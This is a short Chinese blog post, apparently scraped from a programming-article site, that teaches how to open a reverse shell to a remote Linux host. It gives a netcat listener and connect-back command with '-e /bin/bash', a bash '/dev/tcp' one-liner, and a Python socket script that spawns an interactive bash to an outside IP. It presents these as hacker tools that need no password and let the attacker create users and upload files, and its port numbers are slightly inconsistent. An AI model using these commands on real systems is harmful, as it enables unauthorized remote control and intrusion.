使用Python和nc对远程主机进行反向shell链接
来源:互联网 发布:大华网络客户端软件 编辑:程序博客网 时间:2024/05/19 00:39
nc这个命令屌炸天,经常用作黑客工具。简单说下反向shell
2台Linux电脑
A:192.168.0.21
B:192.168.0.22
A设置nc -lv 8081
B执行nc 192.168.0.21 8080 -e /bin/bash
这样就A就可以链接上B计算机的shell
但是-e这个参数默认时候是木有的,甚者nc命令都木有,可以自己下载源代码编译一个,略麻烦
但是在目标计算机A中必然有bash
bash -i>& /dev/tcp/192.168.100.113/4444 0>&1
但是要自己创建socket文件,麻烦
最后使用Python写脚本
import os,socket,subprocess;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(('192.168.0.21',8080))#重定向shell输出os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)#执行子程序p=subprocess.call(['/bin/bash','-i'])
A机器
B机器
稍微多想想,为什么我不用SSH这种东西呢?
链接时候没有使用密码0 0,可以跳过很多事情,可以创建用户,上传文件,至于怎么让目标机器执行这个代码,那办法太多了。
阅读全文
0 0
- 使用Python和nc对远程主机进行反向shell链接
- 利用SSH对主机进行远程控制
- 主机备份和远程备份同时进行
- How to: Shellcode to reverse bind a shell with netcat(如何使用netcat进行shellcode反向链接)
- Python获取本地和远程主机信息
- dd和nc远程备份
- 使用nc反弹shell方法
- Linux下使用shell+expect远程登录主机
- 虚拟机安装docker并开放远程访问,windows宿主主机pycharm使用python docker api进行访问
- shell自动备份文件或目录到本地和远程主机
- shell自动备份文件或目录到本地和远程主机
- Python 使用paramiko实现远程登录Linux主机并执行命令和操作
- python连接远程主机
- 反向shell(python)
- python 反向shell 编程
- webshell里nc反向连接获得cmd shell的方法
- 使用jdb对tomcat进行远程调试
- 使用SWIG和Python对C/C++进行单元测试(一)
- RadioButton在逻辑代码中设置drawableTop属性
- 学习笔记2-C++-const static 关键词的用法
- 多人视频架构模式
- HDU5933.ArcSoft's Office Rearrangement(贪心+模拟)
- iOS下将照片保存到相册的三种方法
- 使用Python和nc对远程主机进行反向shell链接
- java基础-动态界面技术(JSP)
- javaScript_XML(XPath,XSLT)
- 数字三角形
- 判断Android的WIFI与GPS状态
- VC 位图按钮CBitmapButton的使用
- python
- new delete和malloc free的区别
- hdu1074 状压DP